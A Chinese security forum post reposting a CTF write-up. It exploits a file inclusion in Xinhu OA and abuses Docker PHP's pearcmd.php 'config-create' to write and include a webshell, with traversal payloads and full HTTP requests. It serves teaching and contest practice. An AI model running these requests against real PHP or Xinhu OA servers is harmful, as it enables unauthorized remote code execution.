安全矩阵

 找回密码
 立即注册
搜索
查看: 2966|回复: 0

文件包含利用 pearcmd.php 实现 Getshell

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 14:00:21 | 显示全部楼层 |阅读模式
原文链接:文件包含利用 pearcmd.php 实现 Getshell

前言
昨天在打西湖论剑的时候遇上了一道题目,给了一个信呼 OA,网上所有的 1day 试了一遍都不行,最后在 indexAction.php 中找到一处文件包含,只能包含以 .php 后缀结尾的文件。正好前几天 P 神在博客上发布了一篇名为《Docker PHP裸文件本地包含综述》 的文章,利用文章中给出的包含 pearcmd.php 的方式成功 Getshell。
题目引入
题目给出的是一个信呼 OA:

直接弱口令便能登录:

首先尝试网上所有爆出来的 1day 都不行,其中最有希望的一个配置文件写 Webshell 由于没有权限也被阉割了。只能自己审一下他给出的源码了。
我们直接看到 indexAction.php:
webmain\index\indexAction.php

发现有一个名为 getshtmlAction 的成员方法,可以用来获取模版文件。这里的源码直接获取 surl 参数并对其解 Base64 之后拼接给 $file 变量,并且会自动在最后加上 .php 后缀,最终 $file 会被赋值给 $this->displayfile,并在 View.php 中进行文件包含操作:
include\View.php

在这整个操作过程中并没有任何过滤,可以直接包含服务器上以 .php 结尾的文件。
我们调用这个类方法,尝试包含几个 PHP 文件:
PHP
                        123                                                   /?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2luZGV4// 尝试包含 ../../../../../../../../var/www/html/index.php                          
如下图所示,包含成功:

如果包含失败的话会报错:
PHP
                        123                                                   /?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL3Rlc3QxMjM=// 尝试包含 ../../../../../../../../var/www/html/test123.php                          

Pearcmd.php 的巧妙利用
由于这里限制了包含的文件后缀只有 .php,所以我们不能使用常见的 session.upload_progress 方式来 Getshell。好在 P 神前两天在自己博客中发布了一篇名为《Docker PHP裸文件本地包含综述》 的文章,里面给出了一个新的利用方法:
Pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 Pear 是 Pecl 依赖的类库。在 PHP v7.3 及以前,Pecl/Pear 是默认安装的;在 PHP v7.4 及以后,需要我们在编译PHP的时候指定 --with-pear 才会安装。不过,在 Docker 任意版本镜像中,Pecl/Pear 都会被默认安装,安装的路径在 /usr/local/lib/php。
原本 Pecl/Pear 是一个命令行工具,并不在 Web 目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到 Pear 中的文件,进而利用其中的特性来搞事。
在 Docker 环境下的 PHP 会默认开启 register_argc_argv 这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给 $argc、$argv、$_SERVER['argv'] 几个变量。
如果 PHP 以命令行的形式运行,这里很好理解。但如果 PHP 以 Server 的形式运行,且又开启了 register_argc_argv,那么这其中是怎么处理的?
我们在 PHP 源码中可以看到这样的逻辑:
C++
                        12345678910111213141516171819202122232425                                                   static zend_bool php_auto_globals_create_server(zend_string *name){    if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {        php_register_server_variables();        if (PG(register_argc_argv)) {            if (SG(request_info).argc) {                zval *argc, *argv;                if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&                    (argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {                    Z_ADDREF_P(argv);                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);                }            } else {                php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);            }        }    } else {        zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);        array_init(&PG(http_globals)[TRACK_VARS_SERVER]);    }    ...                          
第一个 if 语句判断 variables_order 中是否有 S,即 $_SERVER 变量;第二个 if 语句判断是否开启 register_argc_argv,第三个 if 语句判断是否有 request_info.argc 存在,如果不存在,其执行的是这条语句:
C
                        1                                                   php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);                          
无论 php_build_argv 函数内部是怎么处理的,SG(request_info).query_string都非常吸引我们,这段代码意味着,HTTP 数据包中的 query-string 会被作为 argv 的值。如下图所示:

我们再来看到 Pear 中获取命令行 argv 的函数:
PHP
                        123456789101112131415                                                   public static function readPHPArgv(){    global $argv;    if (!is_array($argv)) {        if (!@is_array($_SERVER['argv'])) {            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {                $msg = "Could not read cmd args (register_argc_argv=Off?)";                return PEAR::raiseError("Console_Getopt: " . $msg);            }            return $GLOBALS['HTTP_SERVER_VARS']['argv'];        }        return $_SERVER['argv'];    }    return $argv;}                          
会先尝试 $argv,如果不存在再尝试 $_SERVER['argv'],后者我们可通过 query-string 控制。也就是说,我们通过 Web 访问了 Pear 命令行的功能,且能够控制命令行的参数。
看看 Pear 中有哪些可以利用的参数:

我们注意到 config-create,阅读其代码和帮助可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
所以,我构造出如下利用的数据包:
HTTP
                        12345678                                                   GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php HTTP/1.1Host: 192.168.219.129:8086Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Connection: close                          

发送这个数据包,会在目标主机上写入一个文件/tmp/shell.php,其内容包含:
最后包含这个 /tmp/shell.php 文件利用即可:

解题
直接构造 payload,在/tmp写入shell.php:
HTTP
                        1234567891011                                                   GET  /?+config-create+/&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA%3D%3D&/POST[whoami])?>+/tmp/shell.php HTTP/1.1Host: d0ca7568-cb7e-4bf0-92ba-5654362894d3.oarce-ctf.dasctf.com:2333Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cookie: deviceid=1637397855417; xinhu_ca_adminuser=xiaoqiao; xinhu_ca_rempass=1; PHPSESSID=b94f4c50414716a5b669c5044571c93d; xinhu_mo_adminid=rww0mh0sl0rnr0jj0kr0xk0hm0rwr0rwj0rwh0rwh0sm0kw0sl0km012; xinhu_ca_adminpass=xx0sl0xn0wrr0xs0ks0sh0hc011Connection: close                          

然后构造 payload 包含/tmp/shell.php即可getshell:
PHP
                        1234                                                   /index.php?a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3NoZWxs// ../../../../../../../../tmp/shell.php// 注意, 这里的Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3NoZWxs是../../../../../../../../tmp/shell的编码,不要加上 .php 后缀                          
成功读取 flag:




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:39 , Processed in 0.017408 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表